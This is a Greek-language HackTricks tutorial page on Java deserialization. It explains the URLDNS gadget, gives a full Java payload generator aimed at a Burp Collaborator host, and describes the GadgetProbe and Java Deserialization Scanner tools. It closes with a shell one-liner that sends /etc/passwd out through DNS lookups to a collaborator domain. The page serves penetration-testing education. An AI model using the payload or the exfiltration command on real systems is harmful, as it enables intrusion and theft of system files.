Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner

Support HackTricks

DNS request on deserialization

Η κλάση java.net.URL υλοποιεί το Serializable, αυτό σημαίνει ότι αυτή η κλάση μπορεί να σειριοποιηθεί.

public final class URL implements java.io.Serializable {

Αυτή η κλάση έχει μια περίεργη συμπεριφορά. Από την τεκμηρίωση: “Δύο υπολογιστές θεωρούνται ισοδύναμοι αν και τα δύο ονόματα υπολογιστών μπορούν να επιλυθούν στις ίδιες διευθύνσεις IP”. Έτσι, κάθε φορά που ένα αντικείμενο URL καλεί οποιαδήποτε από τις συναρτήσεις equals ή hashCode μια αίτηση DNS για να αποκτήσει τη διεύθυνση IP θα σταλεί.

Η κλήση της συνάρτησης hashCode από ένα αντικείμενο URL είναι αρκετά εύκολη, αρκεί να εισάγετε αυτό το αντικείμενο μέσα σε ένα HashMap που πρόκειται να αποσυμπιεστεί. Αυτό συμβαίνει επειδή στο τέλος της συνάρτησης readObject από το HashMap εκτελείται αυτός ο κώδικας:

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[   ...   ]
for (int i = 0; i < mappings; i++) {
[   ...   ]
putVal(hash(key), key, value, false, false);
}

Είναι να εκτελεί το putVal με κάθε τιμή μέσα στο HashMap. Αλλά, πιο σχετικό είναι το κάλεσμα προς το hash με κάθε τιμή. Αυτός είναι ο κώδικας της συνάρτησης hash:

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

Όπως μπορείτε να παρατηρήσετε, όταν αποσειροποιείτε ένα HashMap η συνάρτηση hash θα εκτελείται με κάθε αντικείμενο και κατά τη διάρκεια της εκτέλεσης hash θα εκτελείται το .hashCode() του αντικειμένου. Επομένως, αν αποσειροποιήσετε ένα HashMap που περιέχει ένα αντικείμενο URL, το αντικείμενο URL θα εκτελέσει το .hashCode().

Τώρα, ας ρίξουμε μια ματιά στον κώδικα του URLObject.hashCode():

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;

Όπως μπορείτε να δείτε, όταν ένα URLObject εκτελεί .hashCode(), καλείται hashCode(this). Μια συνέχεια μπορείτε να δείτε τον κώδικα αυτής της συνάρτησης:

protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
[   ...   ]

Μπορείτε να δείτε ότι εκτελείται μια getHostAddress στο domain, εκκινώντας ένα DNS query.

Επομένως, αυτή η κλάση μπορεί να καταχραστεί προκειμένου να εκκινήσει ένα DNS query για να δείξει ότι είναι δυνατή η deserialization, ή ακόμα και για να εξάγει πληροφορίες (μπορείτε να προσθέσετε ως υποτομέα την έξοδο μιας εκτέλεσης εντολής).

URLDNS payload code example

Μπορείτε να βρείτε τον κώδικα payload URDNS από το ysoserial εδώ. Ωστόσο, απλά για να διευκολύνω την κατανόηση του πώς να το κωδικοποιήσετε, δημιούργησα το δικό μου PoC (βασισμένο σε αυτό από το ysoserial):

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}

public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);

//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}


class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

Περισσότερες πληροφορίες

GadgetProbe

Μπορείτε να κατεβάσετε GadgetProbe από το Burp Suite App Store (Extender).

GadgetProbe θα προσπαθήσει να καταλάβει αν κάποιες Java κλάσεις υπάρχουν στην Java κλάση του διακομιστή ώστε να γνωρίζετε αν είναι ευάλωτη σε κάποια γνωστή εκμετάλλευση.

Πώς λειτουργεί

GadgetProbe θα χρησιμοποιήσει το ίδιο DNS payload της προηγούμενης ενότητας αλλά πριν εκτελέσει το DNS query θα προσπαθήσει να αποσειρικοποιήσει μια αυθαίρετη κλάση. Αν η αυθαίρετη κλάση υπάρχει, το DNS query θα σταλεί και το GadgetProbe θα σημειώσει ότι αυτή η κλάση υπάρχει. Αν το DNS αίτημα ποτέ δεν σταλεί, αυτό σημαίνει ότι η αυθαίρετη κλάση δεν αποσειρικοποιήθηκε επιτυχώς, οπότε είτε δεν είναι παρούσα είτε δεν είναι σειριοποιήσιμη/εκμεταλλεύσιμη.

Μέσα στο github, GadgetProbe έχει κάποιες λίστες λέξεων με Java κλάσεις για δοκιμή.

Περισσότερες Πληροφορίες

Java Deserialization Scanner

Αυτός ο σαρωτής μπορεί να κατέβει από το Burp App Store (Extender). Η επέκταση έχει παθητικές και ενεργές ικανότητες.

Παθητική

Από προεπιλογή, ελέγχει παθητικά όλα τα αιτήματα και τις απαντήσεις που αποστέλλονται αναζητώντας Java σειριοποιημένα μαγικά bytes και θα παρουσιάσει μια προειδοποίηση ευπάθειας αν βρεθεί κάποια:

Ενεργή

Χειροκίνητη Δοκιμή

Μπορείτε να επιλέξετε ένα αίτημα, να κάνετε δεξί κλικ και Send request to DS - Manual Testing. Στη συνέχεια, μέσα στην καρτέλα Deserialization Scanner Tab --> Manual testing tab μπορείτε να επιλέξετε το σημείο εισαγωγής. Και να ξεκινήσετε τη δοκιμή (Επιλέξτε την κατάλληλη επίθεση ανάλογα με την κωδικοποίηση που χρησιμοποιείται).

Ακόμα και αν αυτό ονομάζεται "Χειροκίνητη δοκιμή", είναι αρκετά αυτοματοποιημένο. Θα ελέγξει αυτόματα αν η αποσειριοποίηση είναι ευάλωτη σε οποιοδήποτε ysoserial payload ελέγχοντας τις βιβλιοθήκες που είναι παρούσες στον διακομιστή ιστού και θα επισημάνει αυτές που είναι ευάλωτες. Για να ελέγξετε για ευάλωτες βιβλιοθήκες μπορείτε να επιλέξετε να εκκινήσετε Javas Sleeps, sleeps μέσω κατανάλωσης CPU, ή χρησιμοποιώντας DNS όπως έχει αναφερθεί προηγουμένως.

Εκμετάλλευση

Αφού έχετε εντοπίσει μια ευάλωτη βιβλιοθήκη μπορείτε να στείλετε το αίτημα στην καρτέλα Exploiting Tab. Σε αυτή την καρτέλα πρέπει να επιλέξετε ξανά το σημείο εισαγωγής, να γράψετε τη ευάλωτη βιβλιοθήκη για την οποία θέλετε να δημιουργήσετε ένα payload, και την εντολή. Στη συνέχεια, απλώς πατήστε το κατάλληλο κουμπί Επίθεσης.

Java Deserialization DNS Exfil πληροφορίες

Κάντε το payload σας να εκτελέσει κάτι σαν το εξής:

(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)

Περισσότερες Πληροφορίες

Υποστήριξη HackTricks

Last updated